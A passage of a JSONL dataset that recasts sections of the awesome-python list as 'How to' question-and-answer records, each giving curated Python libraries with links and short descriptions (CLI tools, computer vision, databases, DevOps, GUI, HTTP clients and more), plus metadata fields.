"2026-01-17T12:59:57.116991"}
{"id": "gh_b455a6125999", "question": "How to: Command-line Tools", "question_body": "About vinta/awesome-python", "answer": "_Useful CLI-based tools for productivity._\n\n- Productivity Tools\n  - [cookiecutter](https://github.com/cookiecutter/cookiecutter) - A command-line utility that creates projects from cookiecutters (project templates).\n  - [copier](https://github.com/copier-org/copier) - A library and command-line utility for rendering projects templates.\n  - [doitlive](https://github.com/sloria/doitlive) - A tool for live presentations in the terminal.\n  - [howdoi](https://github.com/gleitz/howdoi) - Instant coding answers via the command line.\n  - [invoke](https://github.com/pyinvoke/invoke) - A tool for managing shell-oriented subprocesses and organizing executable Python code into CLI-invokable tasks.\n  - [pathpicker](https://github.com/facebook/PathPicker) - Select files out of bash output.\n  - [thefuck](https://github.com/nvbn/thefuck) - Correcting your previous console command.\n  - [tmuxp](https://github.com/tmux-python/tmuxp) - A [tmux](https://github.com/tmux/tmux) session manager.\n  - [try](https://github.com/timofurrer/try) - A dead simple CLI to try out python packages - it's never been easier.\n- CLI Enhancements\n  - [httpie](https://github.com/httpie/cli) - A command line HTTP client, a user-friendly cURL replacement.\n  - [iredis](https://github.com/laixintao/iredis) - Redis CLI with autocompletion and syntax highlighting.\n  - [litecli](https://github.com/dbcli/litecli) - SQLite CLI with autocompletion and syntax highlighting.\n  - [mycli](https://github.com/dbcli/mycli) - MySQL CLI with autocompletion and syntax highlighting.\n  - [pgcli](https://github.com/dbcli/pgcli) - PostgreSQL CLI with autocompletion and syntax highlighting.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116998"}
{"id": "gh_3d6f87cade84", "question": "How to: Computer Vision", "question_body": "About vinta/awesome-python", "answer": "_Libraries for Computer Vision._\n\n- [easyocr](https://github.com/JaidedAI/EasyOCR) - Ready-to-use OCR with 40+ languages supported.\n- [kornia](https://github.com/kornia/kornia/) - Open Source Differentiable Computer Vision Library for PyTorch.\n- [opencv](https://opencv.org/) - Open Source Computer Vision Library.\n- [pytesseract](https://github.com/madmaze/pytesseract) - A wrapper for [Google Tesseract OCR](https://github.com/tesseract-ocr).\n- [tesserocr](https://github.com/sirfz/tesserocr) - Another simple, Pillow-friendly, wrapper around the `tesseract-ocr` API for OCR.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117004"}
{"id": "gh_430fadd72d24", "question": "How to: Configuration Files", "question_body": "About vinta/awesome-python", "answer": "_Libraries for storing and parsing configuration options._\n\n- [configobj](https://github.com/DiffSK/configobj) - INI file parser with validation.\n- [configparser](https://docs.python.org/3/library/configparser.html) - (Python standard library) INI file parser.\n- [dynaconf](https://github.com/dynaconf/dynaconf) - Dynaconf is a configuration manager with plugins for Django, Flask and FastAPI.\n- [hydra](https://github.com/facebookresearch/hydra) - Hydra is a framework for elegantly configuring complex applications.\n- [python-decouple](https://github.com/HBNetwork/python-decouple) - Strict separation of settings from code.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117009"}
{"id": "gh_9302fa4e9529", "question": "How to: Cryptography", "question_body": "About vinta/awesome-python", "answer": "- [cryptography](https://github.com/pyca/cryptography) - A package designed to expose cryptographic primitives and recipes to Python developers.\n- [paramiko](https://github.com/paramiko/paramiko) - The leading native Python SSHv2 protocol library.\n- [pynacl](https://github.com/pyca/pynacl) - Python binding to the Networking and Cryptography (NaCl) library.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117014"}
{"id": "gh_1fb8e2d599f4", "question": "How to: Data Analysis", "question_body": "About vinta/awesome-python", "answer": "_Libraries for data analysis._\n\n- [aws-sdk-pandas](https://github.com/aws/aws-sdk-pandas) - Pandas on AWS.\n- [datasette](https://github.com/simonw/datasette) - An open source multi-tool for exploring and publishing data.\n- [desbordante](https://github.com/desbordante/desbordante-core/) - An open source data profiler for complex pattern discovery.\n- [optimus](https://github.com/hi-primus/optimus) - Agile Data Science Workflows made easy with PySpark.\n- [pandas](http://pandas.pydata.org/) - A library providing high-performance, easy-to-use data structures and data analysis tools.\n- [pathway](https://github.com/pathwaycom/pathway) - Real-time data processing framework for Python with reactive dataflows.\n- [polars](https://github.com/pola-rs/polars) - A fast DataFrame library implemented in Rust with a Python API.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117020"}
{"id": "gh_16e486cafb28", "question": "How to: Data Validation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for validating data. Used for forms in many cases._\n\n- [cerberus](https://github.com/pyeve/cerberus) - A lightweight and extensible data validation library.\n- [colander](https://github.com/Pylons/colander) - Validating and deserializing data obtained via XML, JSON, an HTML form post.\n- [jsonschema](https://github.com/python-jsonschema/jsonschema) - An implementation of [JSON Schema](http://json-schema.org/) for Python.\n- [pydantic](https://github.com/pydantic/pydantic) - Data validation using Python type hints.\n- [schema](https://github.com/keleshev/schema) - A library for validating Python data structures.\n- [schematics](https://github.com/schematics/schematics) - Data Structure Validation.\n- [voluptuous](https://github.com/alecthomas/voluptuous) - A Python data validation library.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117026"}
{"id": "gh_30caaeca113d", "question": "How to: Data Visualization", "question_body": "About vinta/awesome-python", "answer": "_Libraries for visualizing data. Also see [awesome-javascript](https://github.com/sorrycc/awesome-javascript#data-visualization)._\n\n- [altair](https://github.com/altair-viz/altair) - Declarative statistical visualization library for Python.\n- [bokeh](https://github.com/bokeh/bokeh) - Interactive Web Plotting for Python.\n- [bqplot](https://github.com/bloomberg/bqplot) - Interactive Plotting Library for the Jupyter Notebook.\n- [cartopy](https://github.com/SciTools/cartopy) - A cartographic python library with matplotlib support.\n- [diagrams](https://github.com/mingrammer/diagrams) - Diagram as Code.\n- [matplotlib](https://github.com/matplotlib/matplotlib) - A Python 2D plotting library.\n- [plotnine](https://github.com/has2k1/plotnine) - A grammar of graphics for Python based on ggplot2.\n- [pygal](https://github.com/Kozea/pygal) - A Python SVG Charts Creator.\n- [pygraphviz](https://github.com/pygraphviz/pygraphviz/) - Python interface to [Graphviz](http://www.graphviz.org/).\n- [pyqtgraph](https://github.com/pyqtgraph/pyqtgraph) - Interactive and realtime 2D/3D/Image plotting and science/engineering widgets.\n- [seaborn](https://github.com/mwaskom/seaborn) - Statistical data visualization using Matplotlib.\n- [UltraPlot](https://github.com/ultraplot/UltraPlot) - Matplotlib wrapper for publication-ready scientific figures with minimal code. Includes advanced subplot management, panel layouts, and batteries-included geoscience plotting.\n- [vispy](https://github.com/vispy/vispy) - High-performance scientific visualization based on OpenGL.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117033"}
{"id": "gh_c24d7cb02759", "question": "How to: Database Drivers", "question_body": "About vinta/awesome-python", "answer": "_Libraries for connecting and operating databases._\n\n- MySQL - [awesome-mysql](http://shlomi-noach.github.io/awesome-mysql/)\n  - [mysqlclient](https://github.com/PyMySQL/mysqlclient) - MySQL connector with Python 3 support ([mysql-python](https://sourceforge.net/projects/mysql-python/) fork).\n  - [pymysql](https://github.com/PyMySQL/PyMySQL) - A pure Python MySQL driver compatible to mysql-python.\n- PostgreSQL - [awesome-postgres](https://github.com/dhamaniasad/awesome-postgres)\n  - [psycopg](https://github.com/psycopg/psycopg) - The most popular PostgreSQL adapter for Python.\n- SQlite - [awesome-sqlite](https://github.com/planetopendata/awesome-sqlite)\n  - [sqlite-utils](https://github.com/simonw/sqlite-utils) - Python CLI utility and library for manipulating SQLite databases.\n  - [sqlite3](https://docs.python.org/3/library/sqlite3.html) - (Python standard library) SQlite interface compliant with DB-API 2.0.\n- Other Relational Databases\n  - [clickhouse-driver](https://github.com/mymarilyn/clickhouse-driver) - Python driver with native interface for ClickHouse.\n  - [pymssql](https://github.com/pymssql/pymssql) - A simple database interface to Microsoft SQL Server.\n- NoSQL Databases\n  - [cassandra-driver](https://github.com/datastax/python-driver) - The Python Driver for Apache Cassandra.\n  - [Django MongoDB Backend](https://github.com/mongodb/django-mongodb-backend) - Official MongoDB database backend for Django.\n  - [happybase](https://github.com/python-happybase/happybase) - A developer-friendly library for Apache HBase.\n  - [kafka-python](https://github.com/dpkp/kafka-python) - The Python client for Apache Kafka.\n  - [motor](https://github.com/mongodb/motor) - The async Python driver for MongoDB.\n  - [pymongo](https://github.com/mongodb/mongo-python-driver) - The official Python client for MongoDB.\n  - [redis-py](https://github.com/redis/redis-py) - The Python client for Redis.\n  - [Beanie](https://github.com/BeanieODM/beanie) - An asynchronous Python object-document mapper (ODM) for MongoDB.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117041"}
{"id": "gh_242c4840c6ce", "question": "How to: Date and Time", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with dates and times._\n\n- [arrow](https://github.com/arrow-py/arrow) - A Python library that offers a sensible and human-friendly approach to creating, manipulating, formatting and converting dates, times and timestamps.\n- [dateutil](https://github.com/dateutil/dateutil) - Extensions to the standard Python [datetime](https://docs.python.org/3/library/datetime.html) module.\n- [pendulum](https://github.com/sdispater/pendulum) - Python datetimes made easy.\n- [pytz](https://pypi.org/project/pytz/) - World timezone definitions, modern and historical. Brings the [tz database](https://en.wikipedia.org/wiki/Tz_database) into Python.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117047"}
{"id": "gh_e8b0c6788ef6", "question": "How to: Debugging Tools", "question_body": "About vinta/awesome-python", "answer": "_Libraries for debugging code._\n\n- pdb-like Debugger\n  - [ipdb](https://github.com/gotcha/ipdb) - IPython-enabled [pdb](https://docs.python.org/3/library/pdb.html).\n  - [pudb](https://github.com/inducer/pudb) - A full-screen, console-based Python debugger.\n- Tracing\n  - [manhole](https://github.com/ionelmc/python-manhole) - Debugging UNIX socket connections and present the stacktraces for all threads and an interactive prompt.\n  - [python-hunter](https://github.com/ionelmc/python-hunter) - A flexible code tracing toolkit.\n- Profiler\n  - [py-spy](https://github.com/benfred/py-spy) - A sampling profiler for Python programs. Written in Rust.\n  - [vprof](https://github.com/nvdv/vprof) - Visual Python profiler.\n- Others\n  - [django-debug-toolbar](https://github.com/jazzband/django-debug-toolbar) - Display various debug information for Django.\n  - [flask-debugtoolbar](https://github.com/pallets-eco/flask-debugtoolbar) - A port of the django-debug-toolbar to flask.\n  - [icecream](https://github.com/gruns/icecream) - Inspect variables, expressions, and program execution with a single, simple function call.\n  - [memory-graph](https://github.com/bterwijn/memory_graph) - Visualize Python data at runtime to debug references, mutability, and aliasing.\n  - [pyelftools](https://github.com/eliben/pyelftools) - Parsing and analyzing ELF files and DWARF debugging information.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117054"}
{"id": "gh_ba31666a78bd", "question": "How to: Deep Learning", "question_body": "About vinta/awesome-python", "answer": "_Frameworks for Neural Networks and Deep Learning. Also see [awesome-deep-learning](https://github.com/ChristosChristofidis/awesome-deep-learning)._\n\n- [jax](https://github.com/google/jax) - a library for high-performance numerical computing with automatic differentiation and JIT compilation.\n- [keras](https://github.com/keras-team/keras) - A high-level neural networks library and capable of running on top of either TensorFlow or Theano.\n- [pytorch-lightning](https://github.com/Lightning-AI/pytorch-lightning) - Deep learning framework to train, deploy, and ship AI products Lightning fast.\n- [pytorch](https://github.com/pytorch/pytorch) - Tensors and Dynamic neural networks in Python with strong GPU acceleration.\n- [stable-baselines3](https://github.com/DLR-RM/stable-baselines3) - PyTorch implementations of Stable Baselines (deep) reinforcement learning algorithms.\n- [tensorflow](https://github.com/tensorflow/tensorflow) - The most popular Deep Learning framework created by Google.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117060"}
{"id": "gh_d6245bb28e65", "question": "How to: DevOps Tools", "question_body": "About vinta/awesome-python", "answer": "_Software and libraries for DevOps._\n\n- Cloud Providers\n  - [boto3](https://github.com/boto/boto3) - Python interface to Amazon Web Services.\n- Configuration Management\n  - [ansible](https://github.com/ansible/ansible) - A radically simple IT automation platform.\n  - [cloudinit](https://github.com/canonical/cloud-init) - A multi-distribution package that handles early initialization of a cloud instance.\n  - [openstack](https://www.openstack.org/) - Open source software for building private and public clouds.\n  - [pyinfra](https://github.com/pyinfra-dev/pyinfra) - A versatile CLI tools and python libraries to automate infrastructure.\n  - [saltstack](https://github.com/saltstack/salt) - Infrastructure automation and management system.\n- SSH-style Deployment\n  - [cuisine](https://github.com/sebastien/cuisine) - Chef-like functionality for Fabric.\n  - [fabric](https://github.com/fabric/fabric) - A simple, Pythonic tool for remote execution and deployment.\n- Process Management\n  - [supervisor](https://github.com/Supervisor/supervisor) - Supervisor process control system for UNIX.\n- Monitoring\n  - [psutil](https://github.com/giampaolo/psutil) - A cross-platform process and system utilities module.\n- Backup\n  - [borg](https://github.com/borgbackup/borg) - A deduplicating archiver with compression and encryption.\n- Chaos Engineering\n  - [chaostoolkit](https://github.com/chaostoolkit/chaostoolkit) - A Chaos Engineering toolkit & Orchestration for Developers.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117068"}
{"id": "gh_0a6904926105", "question": "How to: Distributed Computing", "question_body": "About vinta/awesome-python", "answer": "_Frameworks and libraries for Distributed Computing._\n\n- Batch Processing\n  - [dask](https://github.com/dask/dask) - A flexible parallel computing library for analytic computing.\n  - [luigi](https://github.com/spotify/luigi) - A module that helps you build complex pipelines of batch jobs.\n  - [mpi4py](https://github.com/mpi4py/mpi4py) - Python bindings for MPI.\n  - [PySpark](https://github.com/apache/spark) - [Apache Spark](https://spark.apache.org/) Python API.\n  - [Ray](https://github.com/ray-project/ray/) - A system for parallel and distributed Python that unifies the machine learning ecosystem.\n- Stream Processing\n  - [faust](https://github.com/robinhood/faust) - A stream processing library, porting the ideas from [Kafka Streams](https://kafka.apache.org/documentation/streams/) to Python.\n  - [streamparse](https://github.com/Parsely/streamparse) - Run Python code against real-time streams of data via [Apache Storm](http://storm.apache.org/).", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117075"}
{"id": "gh_07feb0e7bdbb", "question": "How to: Distribution", "question_body": "About vinta/awesome-python", "answer": "_Libraries to create packaged executables for release distribution._\n\n- [cx_freeze](https://github.com/marcelotduarte/cx_Freeze) - It is a Python tool that converts Python scripts into standalone executables and installers for Windows, macOS, and Linux.\n- [Nuitka](https://github.com/Nuitka/Nuitka) - Compiles Python programs into high-performance standalone executables (cross-platform, supports all Python versions).\n- [py2app](https://github.com/ronaldoussoren/py2app) - Freezes Python scripts (Mac OS X).\n- [py2exe](https://github.com/py2exe/py2exe) - Freezes Python scripts (Windows).\n- [pyarmor](https://github.com/dashingsoft/pyarmor) - A tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine or expire obfuscated scripts.\n- [pyinstaller](https://github.com/pyinstaller/pyinstaller) - Converts Python programs into stand-alone executables (cross-platform).\n- [shiv](https://github.com/linkedin/shiv) - A command line utility for building fully self-contained zipapps (PEP 441), but with all their dependencies included.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117081"}
{"id": "gh_05974969685e", "question": "How to: Documentation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for generating project documentation._\n\n- [sphinx](https://github.com/sphinx-doc/sphinx/) - Python Documentation generator.\n  - [awesome-sphinxdoc](https://github.com/yoloseem/awesome-sphinxdoc)\n- [pdoc](https://github.com/mitmproxy/pdoc) - Epydoc replacement to auto generate API documentation for Python libraries.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117086"}
{"id": "gh_6a8a6bb6c4bc", "question": "How to: Downloader", "question_body": "About vinta/awesome-python", "answer": "_Libraries for downloading._\n\n- [akshare](https://github.com/jindaxiang/akshare) - A financial data interface library, built for human beings!\n- [OpenBB](https://github.com/OpenBB-finance/OpenBB) - A financial data platform for analysts, quants and AI agents.\n- [s3cmd](https://github.com/s3tools/s3cmd) - A command line tool for managing Amazon S3 and CloudFront.\n- [yfinance](https://github.com/ranaroussi/yfinance) - Easy Pythonic way to download market and financial data from Yahoo Finance.\n- [youtube-dl](https://github.com/ytdl-org/youtube-dl/) - A command-line program to download videos from YouTube and other video sites.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117092"}
{"id": "gh_04a52cb3b3ae", "question": "How to: Editor Plugins and IDEs", "question_body": "About vinta/awesome-python", "answer": "- Emacs\n  - [elpy](https://github.com/jorgenschaefer/elpy) - Emacs Python Development Environment.\n- Vim\n  - [jedi-vim](https://github.com/davidhalter/jedi-vim) - Vim bindings for the Jedi auto-completion library for Python.\n  - [python-mode](https://github.com/python-mode/python-mode) - An all in one plugin for turning Vim into a Python IDE.\n  - [YouCompleteMe](https://github.com/Valloric/YouCompleteMe) - Includes [Jedi](https://github.com/davidhalter/jedi)-based completion engine for Python.\n- Visual Studio\n  - [PTVS](https://github.com/Microsoft/PTVS) - Python Tools for Visual Studio.\n- Visual Studio Code\n  - [Python](https://marketplace.visualstudio.com/items?itemName=ms-python.python) - The official VSCode extension with rich support for Python.\n- IDE\n  - [PyCharm](https://www.jetbrains.com/pycharm/) - Commercial Python IDE by JetBrains. Has free community edition available.\n  - [spyder](https://github.com/spyder-ide/spyder) - Open Source Python IDE.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117098"}
{"id": "gh_6c3904d9e59e", "question": "How to: Environment Management", "question_body": "About vinta/awesome-python", "answer": "_Libraries for Python version and virtual environment management._\n\n- [pyenv](https://github.com/pyenv/pyenv) - Simple Python version management.\n- [virtualenv](https://github.com/pypa/virtualenv) - A tool to create isolated Python environments.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117104"}
{"id": "gh_6d47dc03324f", "question": "How to: File Manipulation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for file manipulation._\n\n- [mimetypes](https://docs.python.org/3/library/mimetypes.html) - (Python standard library) Map filenames to MIME types.\n- [path.py](https://github.com/jaraco/path.py) - A module wrapper for [os.path](https://docs.python.org/3/library/os.path.html).\n- [pathlib](https://docs.python.org/3/library/pathlib.html) - (Python standard library) An cross-platform, object-oriented path library.\n- [python-magic](https://github.com/ahupp/python-magic) - A Python interface to the libmagic file type identification library.\n- [watchdog](https://github.com/gorakhargosh/watchdog) - API and shell utilities to monitor file system events.\n- [watchfiles](https://github.com/samuelcolvin/watchfiles) - Simple, modern and fast file watching and code reload in python.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117109"}
{"id": "gh_4ac7ada07df2", "question": "How to: Functional Programming", "question_body": "About vinta/awesome-python", "answer": "_Functional Programming with Python._\n\n- [coconut](https://github.com/evhub/coconut) - A variant of Python built for simple, elegant, Pythonic functional programming.\n- [cytoolz](https://github.com/pytoolz/cytoolz/) - Cython implementation of `Toolz`: High performance functional utilities.\n- [funcy](https://github.com/Suor/funcy) - A fancy and practical functional tools.\n- [more-itertools](https://github.com/erikrose/more-itertools) - More routines for operating on iterables, beyond `itertools`.\n- [returns](https://github.com/dry-python/returns) - A set of type-safe monads, transformers, and composition utilities.\n- [toolz](https://github.com/pytoolz/toolz) - A collection of functional utilities for iterators, functions, and dictionaries.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117115"}
{"id": "gh_16cf242b48a5", "question": "How to: GUI Development", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with graphical user interface applications._\n\n- [curses](https://docs.python.org/3/library/curses.html) - Built-in wrapper for [ncurses](http://www.gnu.org/software/ncurses/) used to create terminal GUI applications.\n- [CustomTkinter](https://github.com/tomschimansky/customtkinter) - A modern and customizable python UI-library based on Tkinter.\n- [DearPyGui](https://github.com/RaylockLLC/DearPyGui/) - A Simple GPU accelerated Python GUI framework\n- [enaml](https://github.com/nucleic/enaml) - Creating beautiful user-interfaces with Declarative Syntax like QML.\n- [Flet](https://flet.dev) - Cross-platform GUI framework for building modern apps in pure Python. Run on Windows, macOS, Linux, Android, iOS, and the Web.\n- [Flexx](https://github.com/zoofIO/flexx) - Flexx is a pure Python toolkit for creating GUI's, that uses web technology for its rendering.\n- [Gooey](https://github.com/chriskiehl/Gooey) - Turn command line programs into a full GUI application with one line.\n- [kivy](https://kivy.org/) - A library for creating NUI applications, running on Windows, Linux, Mac OS X, Android and iOS.\n- [NiceGui](https://github.com/zauberzeug/nicegui) - It is great for micro web apps, dashboards, robotics projects, smart home solutions and similar use cases. You can also use it in development, for example when tweaking/configuring a machine learning algorithm or tuning motor controllers.\n- [pyglet](https://github.com/pyglet/pyglet) - A cross-platform windowing and multimedia library for Python.\n- [PyGObject](https://pygobject.readthedocs.io/) - Python Bindings for GLib/GObject/GIO/GTK+ (GTK+3).\n- [PySide](https://doc.qt.io/qtforpython/) - Qt for Python offers the official Python bindings for [Qt](https://www.qt.io/), this is same as PyQt but it's the official binding with different licensing.\n- [PyQt](https://www.riverbankcomputing.com/static/Docs/PyQt6/) - Python bindings for the [Qt](https://www.qt.io/) cross-platform application and UI framework.\n- [pywebview](https://github.com/r0x0r/pywebview/) - A lightweight cross-platform native wrapper around a webview component.\n- [Tkinter](https://wiki.python.org/moin/TkInter) - Tkinter is Python's de-facto standard GUI package.\n- [Toga](https://github.com/pybee/toga) - A Python native, OS native GUI toolkit.\n- [urwid](http://urwid.org/) - A library for creating terminal GUI applications with strong support for widgets, events, rich colors, etc.\n- [wxPython](https://wxpython.org/) - A blending of the wxWidgets C++ class library with the Python.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117125"}
{"id": "gh_86a712f2a059", "question": "How to: Game Development", "question_body": "About vinta/awesome-python", "answer": "_Awesome game development libraries._\n\n- [Arcade](https://api.arcade.academy/en/latest/) - Arcade is a modern Python framework for crafting games with compelling graphics and sound.\n- [Cocos2d](https://www.cocos.com/en/cocos2d-x) - cocos2d is a framework for building 2D games, demos, and other graphical/interactive applications.\n- [Harfang3D](http://www.harfang3d.com) - Python framework for 3D, VR and game development.\n- [Panda3D](https://www.panda3d.org/) - 3D game engine developed by Disney.\n- [Pygame](http://www.pygame.org/news.html) - Pygame is a set of Python modules designed for writing games.\n- [PyOgre](http://www.ogre3d.org/tikiwiki/PyOgre) - Python bindings for the Ogre 3D render engine, can be used for games, simulations, anything 3D.\n- [PyOpenGL](http://pyopengl.sourceforge.net/) - Python ctypes bindings for OpenGL and it's related APIs.\n- [PySDL2](https://pysdl2.readthedocs.io) - A ctypes based wrapper for the SDL2 library.\n- [RenPy](https://www.renpy.org/) - A Visual Novel engine.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117131"}
{"id": "gh_51e7efa69a5c", "question": "How to: Geolocation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for geocoding addresses and working with latitudes and longitudes._\n\n- [django-countries](https://github.com/SmileyChris/django-countries) - A Django app that provides a country field for models and forms.\n- [geodjango](https://docs.djangoproject.com/en/dev/ref/contrib/gis/) - A world-class geographic web framework.\n- [geojson](https://github.com/jazzband/geojson) - Python bindings and utilities for GeoJSON.\n- [geopandas](https://github.com/geopandas/geopandas) - Python tools for geographic data (GeoSeries/GeoDataFrame) built on pandas.\n- [geopy](https://github.com/geopy/geopy) - Python Geocoding Toolbox.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117137"}
{"id": "gh_e0b8bbb26a8c", "question": "How to: HTML Manipulation", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with HTML and XML._\n\n- [beautifulsoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) - Providing Pythonic idioms for iterating, searching, and modifying HTML or XML.\n- [cssutils](https://pypi.org/project/cssutils/) - A CSS library for Python.\n- [html5lib](https://github.com/html5lib/html5lib-python) - A standards-compliant library for parsing and serializing HTML documents and fragments.\n- [JustHTML](https://github.com/EmilStenstrom/justhtml/) - A pure Python HTML5 parser that just works. No C extensions to compile. No system dependencies to install. No complex API to learn.\n- [lxml](http://lxml.de/) - A very fast, easy-to-use and versatile library for handling HTML and XML.\n- [markupsafe](https://github.com/pallets/markupsafe) - Implements a XML/HTML/XHTML Markup safe string for Python.\n- [pyquery](https://github.com/gawel/pyquery) - A jQuery-like library for parsing HTML.\n- [untangle](https://github.com/stchris/untangle) - Converts XML documents to Python objects for easy access.\n- [WeasyPrint](http://weasyprint.org) - A visual rendering engine for HTML and CSS that can export to PDF.\n- [xmldataset](https://xmldataset.readthedocs.io/en/latest/) - Simple XML Parsing.\n- [xmltodict](https://github.com/martinblech/xmltodict) - Working with XML feel like you are working with JSON.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117149"}
{"id": "gh_2b2b4c6574e7", "question": "How to: HTTP Clients", "question_body": "About vinta/awesome-python", "answer": "_Libraries for working with HTTP._\n\n- [httpx](https://github.com/encode/httpx) - A next generation HTTP client for Python.\n- [requests](https://github.com/psf/requests) - HTTP Requests for Humans.\n- [treq](https://github.com/twisted/treq) - Python requests like API built on top of Twisted's HTTP client.\n- [urllib3](https://github.com/urllib3/urllib3) - A HTTP library with thread-safe connection pooling, file post support, sanity friendly.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117154"}
